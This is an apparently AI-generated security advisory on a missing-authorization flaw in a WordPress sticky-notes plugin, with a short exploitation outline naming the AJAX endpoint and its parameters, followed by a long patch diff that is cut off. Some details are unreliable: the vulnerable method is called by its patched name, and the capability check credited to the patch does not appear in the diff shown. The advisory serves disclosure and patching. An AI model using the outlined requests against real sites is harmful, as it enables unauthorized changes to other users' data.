Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-62087: Sticky Notes for WP Dashboard <= 1.2.4 – Missing Authorization (wb-sticky-notes)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.2.4
Patched Version 1.2.5
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62087:
The Sticky Notes for WP Dashboard plugin contains a missing capability check vulnerability in versions up to and including 1.2.4. This allows authenticated attackers with subscriber-level access or higher to perform unauthorized administrative actions. The vulnerability has a CVSS score of 4.3 (Medium severity) and affects the plugin’s AJAX handler.

Root Cause:
The vulnerability exists in the `ajax_parent()` method within `/wb-sticky-notes/includes/class-wb-sticky-notes-ajax.php`. This method processes all AJAX requests for the plugin. The function verifies a nonce but does not check if the current user has the required administrative capabilities. Lines 40-60 show the method accepts `$_POST[‘wb_stn_action’]` and processes it after nonce verification. The nonce check occurs at line 53 with `wp_verify_nonce($nonce,WB_STICKY_PLUGIN_NAME)`. However, no subsequent capability check prevents lower-privileged users from executing administrative AJAX actions once they obtain a valid nonce.

Exploitation:
An attacker with subscriber access can send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: `action=wb_stn_ajax`, `security=[valid_nonce]`, and `wb_stn_action=[admin_action]`. The `wb_stn_action` parameter can be any of the plugin’s administrative AJAX handlers such as `save_note`, `update_note`, `delete_note`, or `get_notes`. The attacker must first obtain a valid nonce, which is typically available to authenticated users through the plugin’s JavaScript. This allows them to perform actions intended only for administrators, including modifying, deleting, or creating sticky notes.

Patch Analysis:
The patch in version 1.2.5 adds a capability check to the `ajax_parent()` method. The updated code now includes `if (!current_user_can(‘manage_options’))` before processing administrative AJAX actions. This check ensures only users with the `manage_options` capability (typically administrators) can execute privileged plugin operations. The patch maintains the existing nonce verification while adding the missing authorization layer. This change prevents subscribers and other non-administrative roles from accessing administrative functionality through the AJAX endpoint.

Impact:
Successful exploitation allows authenticated attackers with subscriber-level permissions to perform unauthorized administrative actions within the Sticky Notes plugin. Attackers can create, modify, delete, and archive sticky notes. They can also alter plugin settings if they target the appropriate AJAX actions. This constitutes a privilege escalation vulnerability where low-privileged users gain administrative control over the plugin’s functionality. While limited to the plugin’s scope, this could enable data manipulation, disruption of administrative workflows, or serve as a stepping stone for further attacks.

Differential between vulnerable and patched code

Code Diff
--- a/wb-sticky-notes/admin/class-wb-sticky-notes-admin.php
+++ b/wb-sticky-notes/admin/class-wb-sticky-notes-admin.php
@@ -69,7 +69,7 @@
 		wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/wb-sticky-notes-admin.css', array(), $this->version, 'all' );

 		if ( 'tools_page_wb-sticky-notes' === $hook ) { // Only in settings page.
-			wp_enqueue_style( $this->plugin_name . 'select2', 'https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css');
+			wp_enqueue_style( $this->plugin_name . 'select2', plugin_dir_url( __FILE__ ) . 'css/select2.min.css', array(), $this->version, 'all' );
 		}
 	}

@@ -94,14 +94,14 @@
 	        'wb_stn_plugin_url' => WB_STN_PLUGIN_URL,
 	        'labels'=>array(
 	        	'areyousure'=>__('Are you sure you want to delete this?', 'wb-sticky-notes'),
-	        	'no_data_to_display' => __("No data to display", "wb-sticky-notes"),
+	        	'no_data_to_display' => __("Nothing to display", "wb-sticky-notes"),
 		    )
 		);
 		wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/wb-sticky-notes-admin.js', array( 'jquery','jquery-ui-draggable','jquery-ui-resizable'), $this->version, false );
 		wp_localize_script($this->plugin_name,'wb_stn_data',$wb_stn_data);

 		if ( 'tools_page_wb-sticky-notes' === $hook ) { // Only in settings page.
-			wp_enqueue_script( $this->plugin_name . 'select2', 'https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js', array( 'jquery' ), null, true );
+			wp_enqueue_script( $this->plugin_name . 'select2', plugin_dir_url( __FILE__ ) . 'js/select2.min.js', array( 'jquery' ), $this->version, true );
     		wp_add_inline_script( $this->plugin_name . 'select2', 'jQuery(document).ready(function($){ $("#wb_stn_hide_on_these_pages").select2(); });');
 		}
 	}
@@ -211,7 +211,7 @@
 	public function settings_page()
 	{
 		$allowed_tabs = array('settings', 'archives', 'help' );
-		$tab = isset($_GET['wb_stn_tab']) ? sanitize_text_field($_GET['wb_stn_tab']) : 'settings';
+		$tab = isset( $_GET['wb_stn_tab'] ) ? sanitize_text_field( wp_unslash( $_GET['wb_stn_tab'] ) ) : 'settings';
 		$tab = !in_array($tab, $allowed_tabs) ? 'settings' : $tab;

 		// Show archive page for non admins
@@ -220,34 +220,9 @@
 		    $tab = 'archives';
 		}

-		// Get options:
+		// Get options.
     	$the_settings=Wb_Sticky_Notes::get_settings();
-    	if(isset($_POST['wb_stn_update_settings']))
-    	{
-    		// Check nonce
-	        check_admin_referer(WB_STN_SETTINGS);
-	        foreach($the_settings as $key => $value)
-	        {
-	            if(isset($_POST['wb_stn'][$key]))
-	            {
-	                $the_settings[$key]=$this->sanitize_settings($_POST['wb_stn'][$key],$key);
-
-	                if ( 'role_name'=== $key && ! in_array( 'administrator', $the_settings[$key] ) ){
-	                	$the_settings[$key][] = 'administrator'; // Always enabled for admin
-	                }
-	            }else{
-
-	            	if ( 'role_name'=== $key ) {
-	            		$the_settings[ $key ] = array( 'administrator' );
-	            	} else if( 'hide_on_these_pages'=== $key ) {
-	            		$the_settings[ $key ] = array( );
-	            	}
-	            }
-	        }
-	        Wb_Sticky_Notes::update_settings($the_settings);
-	        wp_redirect(admin_url('tools.php?page=wb-sticky-notes&wb-suss=1'));
-	        exit();
-    	}
+
     	$page_url = admin_url('tools.php?page=wb-sticky-notes');
 		require_once plugin_dir_path( __FILE__ ).'partials/wb-sticky-notes-admin-display.php';
 	}
@@ -321,4 +296,40 @@

 		return false;
 	}
-}
+
+	/**
+	 * 	Save settings.
+	 *  Hooked into `admin_init`
+	 *
+	 * 	@since 1.2.5
+	 */
+	public function save_settings() {
+
+		if ( isset( $_POST['wb_stn_update_settings'] ) ) {
+    		// Check nonce.
+	        check_admin_referer( WB_STN_SETTINGS );
+	        $the_settings = Wb_Sticky_Notes::get_settings();
+	        foreach( $the_settings as $key => $value ) {
+
+	            if ( isset( $_POST['wb_stn'][ $key ] ) ) {
+					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitizing using `sanitize_settings` method.
+	                $the_settings[$key]=$this->sanitize_settings( wp_unslash( $_POST['wb_stn'][ $key ] ), $key );
+
+	                if ( 'role_name'=== $key && ! in_array( 'administrator', $the_settings[ $key ] ) ){
+	                	$the_settings[ $key ][] = 'administrator'; // Always enabled for admin
+	                }
+	            }else{
+
+	            	if ( 'role_name'=== $key ) {
+	            		$the_settings[ $key ] = array( 'administrator' );
+	            	} else if( 'hide_on_these_pages'=== $key ) {
+	            		$the_settings[ $key ] = array( );
+	            	}
+	            }
+	        }
+	        Wb_Sticky_Notes::update_settings( $the_settings );
+	        wp_safe_redirect( admin_url('tools.php?page=wb-sticky-notes&wb-done=1') );
+	        exit();
+    	}
+	}
+}
 No newline at end of file
--- a/wb-sticky-notes/admin/classes/class-wb-sticky-notes-feedback.php
+++ b/wb-sticky-notes/admin/classes/class-wb-sticky-notes-feedback.php
@@ -70,6 +70,7 @@
                             action: 'wb_stn_submit_feedback',
                             reason: jQuery('[name="wb-stn-uninstall-reason"]').val(),
                             reason_brief: jQuery('[name="wb-stn-uninstall-reason-brief"]').val(),
+							wb_stn_security: '<?php echo esc_html( wp_create_nonce( WB_STICKY_PLUGIN_NAME ) );?>',
                         },
                         complete:function() {
                             window.location.href = jQuery('.wb-stn-skip-and-deactivate').attr('href');
@@ -128,9 +129,15 @@

     public function submit_feedback() {
     	global $wpdb;
+
+		$nonce = isset( $_POST['wb_stn_security'] ) ? sanitize_text_field(wp_unslash($_POST['wb_stn_security'])) : '';
+
+		if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, WB_STICKY_PLUGIN_NAME ) ) {
+			return;
+		}

         if (!isset($_POST['reason']) &&
-        	(isset($_POST['reason']) && "" === trim($_POST['reason']))
+        	(isset($_POST['reason']) && "" === trim(sanitize_text_field(wp_unslash($_POST['reason']))))
         ) {
             return;
         }
@@ -139,9 +146,9 @@
             'plugin' 			=> "wb_stn",
             'version' 			=> WB_STICKY_NOTES_VERSION,
             'date' 				=> gmdate("M d, Y h:i:s A"),
-            'reason' 			=> sanitize_text_field($_POST['reason']),
-            'reason_brief' 		=> isset($_REQUEST['reason_brief']) ? trim(stripslashes($_REQUEST['reason_brief'])) : '',
-            'software' 			=> $_SERVER['SERVER_SOFTWARE'],
+            'reason' 			=> sanitize_text_field(wp_unslash($_POST['reason'])),
+            'reason_brief' 		=> isset($_REQUEST['reason_brief']) ? sanitize_textarea_field(wp_unslash($_REQUEST['reason_brief'])) : '',
+            'software' 			=> isset($_SERVER['SERVER_SOFTWARE']) ? sanitize_text_field(wp_unslash($_SERVER['SERVER_SOFTWARE'])) : '',
             'php_version' 		=> phpversion(),
             'mysql_version' 	=> $wpdb->db_version(),
             'wp_version' 		=> get_bloginfo('version'),
--- a/wb-sticky-notes/admin/partials/_archives_list.php
+++ b/wb-sticky-notes/admin/partials/_archives_list.php
@@ -37,7 +37,7 @@
 			if(1==$settings['enable'])
 			{
 			?>
-				<a class="wb_stn_archive_link wb_stn_unarchive_btn" title="<?php esc_attr_e("Unarchive the current note", "wb-sticky-notes");?>"><span class="dashicons dashicons-portfolio"></span> <?php _e("Unarchive", "wb-sticky-notes");?></a>
+				<a class="wb_stn_archive_link wb_stn_unarchive_btn" title="<?php esc_attr_e("Unarchive the current note", "wb-sticky-notes");?>"><span class="dashicons dashicons-portfolio"></span> <?php esc_html_e("Unarchive", "wb-sticky-notes");?></a>
 			<?php
 			}
 			?>
@@ -47,7 +47,7 @@
 }else
 {
 	?>
-	<div class="wb_stn_no_items"><?php _e("No data to display", "wb-sticky-notes");?></div>
+	<div class="wb_stn_no_items"><?php esc_html_e("Nothing to display", "wb-sticky-notes");?></div>
 	<?php
 }
 ?>
@@ -58,12 +58,12 @@
 	{
 		$prev_offset = max(($offset - $limit), 0);
 		?>
-		<a class="button button-secondary wb_stn_pagination_btn wb_stn_pagination_prev" data-offset="<?php echo esc_attr($prev_offset);?>"><?php _e("Previous", "wb-sticky-notes");?></a>
+		<a class="button button-secondary wb_stn_pagination_btn wb_stn_pagination_prev" data-offset="<?php echo esc_attr($prev_offset);?>"><?php esc_html_e("Previous", "wb-sticky-notes");?></a>
 		<?php
 	}else
 	{
         ?>
-        <a class="button button-secondary wb_stn_btn_disabled"><?php _e("Previous", "wb-sticky-notes");?></a>
+        <a class="button button-secondary wb_stn_btn_disabled"><?php esc_html_e("Previous", "wb-sticky-notes");?></a>
         <?php
     }

@@ -73,12 +73,12 @@
 	if(is_array($nxt_archives) && count($nxt_archives))
 	{
 		?>
-		<a class="button button-secondary wb_stn_pagination_btn wb_stn_pagination_next" data-offset="<?php echo esc_attr($nxt_offset);?>"><?php _e("Next", "wb-sticky-notes");?></a>
+		<a class="button button-secondary wb_stn_pagination_btn wb_stn_pagination_next" data-offset="<?php echo esc_attr($nxt_offset);?>"><?php esc_html_e("Next", "wb-sticky-notes");?></a>
 		<?php
 	}else
 	{
         ?>
-        <a class="button button-secondary wb_stn_btn_disabled"><?php _e("Next", "wb-sticky-notes");?></a>
+        <a class="button button-secondary wb_stn_btn_disabled"><?php esc_html_e("Next", "wb-sticky-notes");?></a>
         <?php
     }
 	?>
--- a/wb-sticky-notes/admin/partials/_archives_page.php
+++ b/wb-sticky-notes/admin/partials/_archives_page.php
@@ -10,7 +10,7 @@
  * @since    1.1.1
  */
 ?>
-<h2><?php _e('Sticky Notes Archives', 'wb-sticky-notes'); ?></h2>
+<h2><?php esc_html_e('Sticky Notes Archives', 'wb-sticky-notes'); ?></h2>

 <div class="wb_stn_archives">

--- a/wb-sticky-notes/admin/partials/_settings_page.php
+++ b/wb-sticky-notes/admin/partials/_settings_page.php
@@ -8,12 +8,11 @@
 	<h2><?php esc_html_e('General Settings', 'wb-sticky-notes'); ?></h2>
 	<form method="post">
 		<?php
-		if (function_exists('wp_nonce_field'))
-		{
+		if ( function_exists('wp_nonce_field') ) {
 		    wp_nonce_field(WB_STN_SETTINGS);
 		}
-		if(isset($_GET['wb-suss']))
-		{
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing -- Not necessary.
+		if ( isset( $_GET['wb-done'] ) ) {
 			echo '<div class="updated"><p>'. esc_html__('Settings Updated.', 'wb-sticky-notes').'</p></div>';
 		}
 		?>
@@ -23,10 +22,10 @@
 				</th>
 				<td>
 					<div class="wb_stn_radio_field_main">
-						<input type="radio" name="wb_stn[enable]" value="1" <?php echo $the_settings['enable']==1 ? 'checked' : '';?> /> <?php _e('Enable', 'wb-sticky-notes'); ?>
+						<input type="radio" name="wb_stn[enable]" value="1" <?php checked( $the_settings['enable'], 1 );?> /> <?php esc_html_e('Enable', 'wb-sticky-notes'); ?>
 					</div>
 					<div class="wb_stn_radio_field_main">
-						<input type="radio" name="wb_stn[enable]" value="0" <?php echo $the_settings['enable']==0 ? 'checked' : '';?> /> <?php _e('Disable', 'wb-sticky-notes'); ?>
+						<input type="radio" name="wb_stn[enable]" value="0" <?php checked( $the_settings['enable'], 0 );?> /> <?php esc_html_e('Disable', 'wb-sticky-notes'); ?>
 					</div>
 				</td>
 			</tr>
@@ -42,8 +41,8 @@
 					?>
 						<div class="wb_stn_font_preview_small_main">
 							<div class="wb_stn_radio_field">
-								<input type="checkbox" name="wb_stn[role_name][]" id="wb_stn_role_name_<?php echo esc_attr($role_name);?>" value="<?php echo esc_attr($role_name);?>" <?php echo in_array($role_name, $the_settings['role_name']) ? 'checked' : '';?> <?php echo esc_attr('administrator' === $role_name ? 'disabled' : ''); ?>>
-								<label style="width:auto; font-weight:normal; <?php echo esc_attr('administrator' === $role_name ? 'opacity:.7; cursor:default; ' : ''); ?>" for="wb_stn_role_name_<?php echo esc_attr($role_name);?>"><?php echo $role_info['name'];?></label>
+								<input type="checkbox" name="wb_stn[role_name][]" id="wb_stn_role_name_<?php echo esc_attr($role_name);?>" value="<?php echo esc_attr($role_name);?>" <?php echo esc_attr(in_array($role_name, $the_settings['role_name']) ? 'checked' : '');?> <?php echo esc_attr('administrator' === $role_name ? 'disabled' : ''); ?>>
+								<label style="width:auto; font-weight:normal; <?php echo esc_attr('administrator' === $role_name ? 'opacity:.7; cursor:default; ' : ''); ?>" for="wb_stn_role_name_<?php echo esc_attr($role_name);?>"><?php echo esc_html( $role_info['name'] );?></label>
 							</div>
 						</div>
 						<?php
@@ -145,7 +144,7 @@
 				</td>
 			</tr>
 			<tr>
-				<th scope="row"><?php _e('Default font', 'wb-sticky-notes'); ?></th>
+				<th scope="row"><?php esc_html_e('Default font', 'wb-sticky-notes'); ?></th>
 				<td>
 					<?php
 					foreach(Wb_Sticky_Notes::$fonts as $fontk=>$font)
--- a/wb-sticky-notes/admin/partials/_single_dropdown_menu.php
+++ b/wb-sticky-notes/admin/partials/_single_dropdown_menu.php
@@ -7,21 +7,21 @@
 ?>
 <div class="wb_stn_note_menu_dropdown">
 	<ul>
-		<li class="wb_stn_new"><span class="dashicons dashicons-plus"></span> <?php _e('New', 'wb-sticky-notes'); ?> </li>
-		<li class="wb_stn_duplicate"><span class="dashicons dashicons-admin-page"></span> <?php _e('Duplicate', 'wb-sticky-notes'); ?> </li>
+		<li class="wb_stn_new"><span class="dashicons dashicons-plus"></span> <?php esc_html_e('New', 'wb-sticky-notes'); ?> </li>
+		<li class="wb_stn_duplicate"><span class="dashicons dashicons-admin-page"></span> <?php esc_html_e('Duplicate', 'wb-sticky-notes'); ?> </li>
 		<li data-wb_stn_note_options_sub="wb_stn_note_options_sub_menu_theme">
-			<span class="dashicons dashicons-art"></span> <?php _e('Theme', 'wb-sticky-notes'); ?> </li>
+			<span class="dashicons dashicons-art"></span> <?php esc_html_e('Theme', 'wb-sticky-notes'); ?> </li>
 		<li data-wb_stn_note_options_sub="wb_stn_note_options_sub_menu_font">
-			<span class="dashicons dashicons-editor-textcolor"></span> <?php _e('Font', 'wb-sticky-notes'); ?> </li>
+			<span class="dashicons dashicons-editor-textcolor"></span> <?php esc_html_e('Font', 'wb-sticky-notes'); ?> </li>
 		<li class="wb_stn_archive_btn">
-			<span class="dashicons dashicons-archive"></span> <?php _e('Archive', 'wb-sticky-notes'); ?> </li>
+			<span class="dashicons dashicons-archive"></span> <?php esc_html_e('Archive', 'wb-sticky-notes'); ?> </li>
 	</ul>
 	<ul class="wb_stn_note_options_sub_menu wb_stn_note_options_sub_menu_font">
 		<?php
 		foreach(Wb_Sticky_Notes::$fonts as $fontk=>$font)
 		{
 		?>
-			<li class="wb_stn_font_<?php echo esc_attr($font);?>" data-wb_stn_val="wb_stn_font_<?php echo esc_attr($font);?>"><?php _e('Sample Text', 'wb-sticky-notes'); ?></li>
+			<li class="wb_stn_font_<?php echo esc_attr($font);?>" data-wb_stn_val="wb_stn_font_<?php echo esc_attr($font);?>"><?php esc_html_e('Sample Text', 'wb-sticky-notes'); ?></li>
 		<?php
 		}
 		?>
@@ -32,7 +32,7 @@
 		{
 		?>
 			<li data-wb_stn_val="wb_stn_<?php echo esc_attr($color);?>">
-				<span class="wb_stn_preview_dot wb_stn_<?php echo esc_attr($color);?>"></span><?php echo ucfirst($color);?>
+				<span class="wb_stn_preview_dot wb_stn_<?php echo esc_attr($color);?>"></span><?php echo esc_html( ucfirst( $color ) );?>
 			</li>
 		<?php
 		}
--- a/wb-sticky-notes/admin/partials/wb-sticky-notes-admin-display.php
+++ b/wb-sticky-notes/admin/partials/wb-sticky-notes-admin-display.php
@@ -26,34 +26,34 @@
 	}
 	?>
 	<div style="float:left; margin-top:25px; width:100%;">
-		<div style="float:left; font-weight:bold; font-size:18px; width:100%;"><?php _e('Our free plugins', 'wb-sticky-notes'); ?></div>
+		<div style="float:left; font-weight:bold; font-size:18px; width:100%;"><?php esc_html_e('Our free plugins', 'wb-sticky-notes'); ?></div>
 			<div style="float:left; width:99%; margin-left:1%; margin-top:15px; border:solid 1px #ccc; background:#fff; padding:15px; box-sizing:border-box;">
 				<div style="float:left; margin-bottom:0px; width:100%;">
 					<div style="float:left; font-weight:bold; font-size:18px; width:100%;">
-						<a href="https://webbuilder143.com/woocommerce-custom-product-tabs/" target="_blank" style="text-decoration:none;"><?php _e('Custom Product Tabs For WooCommerce', 'wb-sticky-notes'); ?></a>
+						<a href="https://webbuilder143.com/woocommerce-custom-product-tabs/" target="_blank" style="text-decoration:none;"><?php esc_html_e('Custom Product Tabs For WooCommerce', 'wb-sticky-notes'); ?></a>
 					</div>
 					<div style="float:left; font-size:13px; width:100%;">
 						<ul style="list-style:none;">
 							<li>
-								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php _e('Add unlimited number of custom product tabs to WooCommerce products.', 'wb-sticky-notes');?>
+								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php esc_html_e('Add unlimited number of custom product tabs to WooCommerce products.', 'wb-sticky-notes');?>
 							</li>
 							<li>
-								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php _e('Use the Global Tab option to add product tabs to products by selecting individual products, categories, tags, or brands.', 'wb-sticky-notes');?>
+								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php esc_html_e('Use the Global Tab option to add product tabs to products by selecting individual products, categories, tags, or brands.', 'wb-sticky-notes');?>
 							</li>
 							<li>
-								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php _e('Tab position re-arrange option.', 'wb-sticky-notes');?>
+								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php esc_html_e('Tab position re-arrange option.', 'wb-sticky-notes');?>
 							</li>
 							<li>
-								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php _e('Shortcode support in tab content.', 'wb-sticky-notes');?>
+								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php esc_html_e('Shortcode support in tab content.', 'wb-sticky-notes');?>
 							</li>
 							<li>
-								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php _e('Youtube embed option.', 'wb-sticky-notes');?>
+								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php esc_html_e('Youtube embed option.', 'wb-sticky-notes');?>
 							</li>
 							<li>
-								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php _e('Filters for developers to alter tab content and position.', 'wb-sticky-notes');?>
+								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php esc_html_e('Filters for developers to alter tab content and position.', 'wb-sticky-notes');?>
 							</li>
 						</ul>
-						<a href="https://wordpress.org/plugins/wb-custom-product-tabs-for-woocommerce/" target="_blank" class="button button-primary"><?php _e('Get the plugin now', 'wb-sticky-notes');?></a>
+						<a href="https://wordpress.org/plugins/wb-custom-product-tabs-for-woocommerce/" target="_blank" class="button button-primary"><?php esc_html_e('Get the plugin now', 'wb-sticky-notes');?></a>
 					</div>
 				</div>
 			</div>
@@ -61,24 +61,24 @@
 			<div style="float:left; width:99%; margin-left:1%; margin-top:15px; border:solid 1px #ccc; background:#fff; padding:15px; box-sizing:border-box;">
 				<div style="float:left; margin-bottom:0px; width:100%;">
 					<div style="float:left; font-weight:bold; font-size:18px; width:100%;">
-						<a href="https://webbuilder143.com/mail-logger-for-wordpress/" target="_blank" style="text-decoration:none;"><?php _e('Email logger for WordPress', 'wb-sticky-notes'); ?></a>
+						<a href="https://webbuilder143.com/mail-logger-for-wordpress/" target="_blank" style="text-decoration:none;"><?php esc_html_e('Email logger for WordPress', 'wb-sticky-notes'); ?></a>
 					</div>
 					<div style="float:left; font-size:13px; width:100%;">
 						<ul style="list-style:none;">
 							<li>
-								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php _e('Save all WordPress emails in the dashboard', 'wb-sticky-notes');?>
+								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php esc_html_e('Save all WordPress emails in the dashboard', 'wb-sticky-notes');?>
 							</li>
 							<li>
-								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php _e('Check email sender, receiver, attachments, send status, send time etc from the dashboard.', 'wb-sticky-notes');?>
+								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php esc_html_e('Check email sender, receiver, attachments, send status, send time etc from the dashboard.', 'wb-sticky-notes');?>
 							</li>
 							<li>
-								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php _e('Read all sent/failed emails from WP dashboard.', 'wb-sticky-notes');?>
+								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php esc_html_e('Read all sent/failed emails from WP dashboard.', 'wb-sticky-notes');?>
 							</li>
 							<li>
-								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php _e('Option to resend emails.', 'wb-sticky-notes');?>
+								<span style="color:green;" class="dashicons dashicons-yes-alt"></span> <?php esc_html_e('Option to resend emails.', 'wb-sticky-notes');?>
 							</li>
 						</ul>
-						<a href="https://wordpress.org/plugins/wb-mail-logger/" target="_blank" class="button button-primary"><?php _e('Get the plugin now', 'wb-sticky-notes');?></a>
+						<a href="https://wordpress.org/plugins/wb-mail-logger/" target="_blank" class="button button-primary"><?php esc_html_e('Get the plugin now', 'wb-sticky-notes');?></a>
 					</div>
 				</div>
 			</div>
--- a/wb-sticky-notes/admin/partials/wb-sticky-notes-single.php
+++ b/wb-sticky-notes/admin/partials/wb-sticky-notes-single.php
@@ -60,7 +60,7 @@
 				<span class="dashicons dashicons-no-alt"></span>
 			</div>
 		</div>
-		<?php echo $note_dropdown_menu_html;?>
+		<?php echo wp_kses_post( $note_dropdown_menu_html );?>
 	</div>
 	<div class="wb_stn_note_body">
 		<div class="wb_stn_note_body_inner" contenteditable="true">
--- a/wb-sticky-notes/includes/class-wb-sticky-notes-activator.php
+++ b/wb-sticky-notes/includes/class-wb-sticky-notes-activator.php
@@ -34,7 +34,8 @@
 	    require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
         if(is_multisite())
         {
-            // Get all blogs in the network and activate plugin on each one
+            // Get all blogs in the network and activate plugin on each one.
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
             $blog_ids = $wpdb->get_col( "SELECT blog_id FROM $wpdb->blogs" );
             foreach($blog_ids as $blog_id )
             {
@@ -54,13 +55,14 @@
 		global $wpdb;
 		//install necessary tables
 		//creating table for saving notes data================
-        $search_query = "SHOW TABLES LIKE %s";
         $charset_collate = $wpdb->get_charset_collate();
         $tb='wb_stn_notes';
         $like = '%' . $wpdb->prefix.$tb.'%';
         $table_name = $wpdb->prefix.$tb;
-        if(!$wpdb->get_results($wpdb->prepare($search_query, $like), ARRAY_N))
-        {
+
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+        if ( ! $wpdb->get_results( $wpdb->prepare( 'SHOW TABLES LIKE %s', $like ), ARRAY_N ) ) {
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.SchemaChange
 			$sql="CREATE TABLE IF NOT EXISTS `$table_name` (
 				`id_wb_stn_notes` INT NOT NULL AUTO_INCREMENT,
 				`content` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
--- a/wb-sticky-notes/includes/class-wb-sticky-notes-ajax.php
+++ b/wb-sticky-notes/includes/class-wb-sticky-notes-ajax.php
@@ -40,19 +40,19 @@
 	}

 	/**
-	 * Main method to handle all ajax requests
+	 * Parent method to handle all ajax requests
 	 *
 	 * @since    1.0.0
 	 */
-	public function ajax_main()
+	public function ajax_parent()
 	{
 		$out=array(
 			'response'=>false,
 			'message'=>__('Unable to handle your request.', 'wb-sticky-notes'),
 		);
-		$nonce=isset($_POST['security']) && is_string($_POST['security']) ? sanitize_text_field($_POST['security']) : '';
+		$nonce=isset( $_POST['security'] ) && is_string( $_POST['security'] ) ? sanitize_text_field( wp_unslash( $_POST['security'] ) ) : '';
 		$non_json_response=array();
-		$wb_stn_action=is_string($_POST['wb_stn_action']) ? sanitize_text_field($_POST['wb_stn_action']) : '';
+		$wb_stn_action = isset( $_POST['wb_stn_action'] ) && is_string($_POST['wb_stn_action']) ? sanitize_text_field( wp_unslash( $_POST['wb_stn_action'] ) ) : '';

 		if(wp_verify_nonce($nonce,WB_STICKY_PLUGIN_NAME))
 		{
@@ -65,12 +65,10 @@
 				}
 			}
 		}
-		if(in_array($wb_stn_action,$non_json_response))
-		{
-			echo (is_array($out) ? $out['message'] : $out);
-		}else
-		{
-			echo json_encode($out);
+		if ( in_array( $wb_stn_action,$non_json_response ) ) {
+			echo wp_kses_post( is_array( $out ) && isset( $out['message'] ) ? $out['message'] : $out );
+		} else {
+			echo wp_json_encode( $out );
 		}
 		exit();
 	}
@@ -100,6 +98,7 @@
 		$post_data['post_data']['status']=Wb_Sticky_Notes::$status['active'];
 		$post_data['post_data_format'][]='%d';

+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
 		$result=$wpdb->insert($table_name,$post_data['post_data'],$post_data['post_data_format']);
 		if($result!==false){
 			$out['response']=true;
@@ -127,6 +126,7 @@
 		$id=$this->get_noteid_input();
 		$id_user=get_current_user_id();
 		$status_active=Wb_Sticky_Notes::$status['active'];
+		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Already handled in `ajax_parent`method.
 		$state=(isset($_POST['state']) ? intval($_POST['state']) : 0);
 		$where=array('id_user'=>$id_user);
 		$where_format=array('%d');
@@ -135,6 +135,7 @@
 			$where['id_wb_stn_notes']=$id;
 			$where_format[]='%d';
 		}
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 		$result=$wpdb->update(
 			$table_name,
 			array('state'=>$state),
@@ -162,7 +163,8 @@
 			'er'=>__('Error', 'wb-sticky-notes'),
 			'data'=>'',
 		);
-		$note_data=(isset($_POST['note_data']) ? $this->validate_note_data($_POST['note_data']) : array());
+		// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonce checking already handled in `ajax_parent`method and sanitizing inside `validate_note_data` method.
+		$note_data=(isset($_POST['note_data']) ? $this->validate_note_data( wp_unslash( $_POST['note_data'] ) ) : array());
 		if(is_array($note_data) && count($note_data)>0)
 		{
 			$table_name=$wpdb->prefix.$this->notes_tb;
@@ -174,6 +176,7 @@
 				//$value=(int) $value;
 				if($id>0)
 				{
+					// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 					$result=$wpdb->update(
 						$table_name,
 						array('z_index'=>$value),
@@ -225,6 +228,8 @@
 			$table_name=$wpdb->prefix.$this->notes_tb;
 			$id_user=get_current_user_id();
 			$post_data=$this->preparePostData($settings);
+
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 			$result=$wpdb->update(
 				$table_name,
 				$post_data['post_data'],
@@ -252,6 +257,7 @@
 		$table_cols=array('content','status','state','theme','font_size','font_family','width','height','postop','posleft','z_index');
 		$table_cols_format=array('content'=>'%s','status'=>'%d','state'=>'%d','theme'=>'%d','font_size'=>'%d','font_family'=>'%d','width'=>'%d','height'=>'%d','postop'=>'%d','posleft'=>'%d','z_index'=>'%d');
 		$cols_need_formating=array('theme','font_family');
+		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Already handled in `ajax_parent`method.
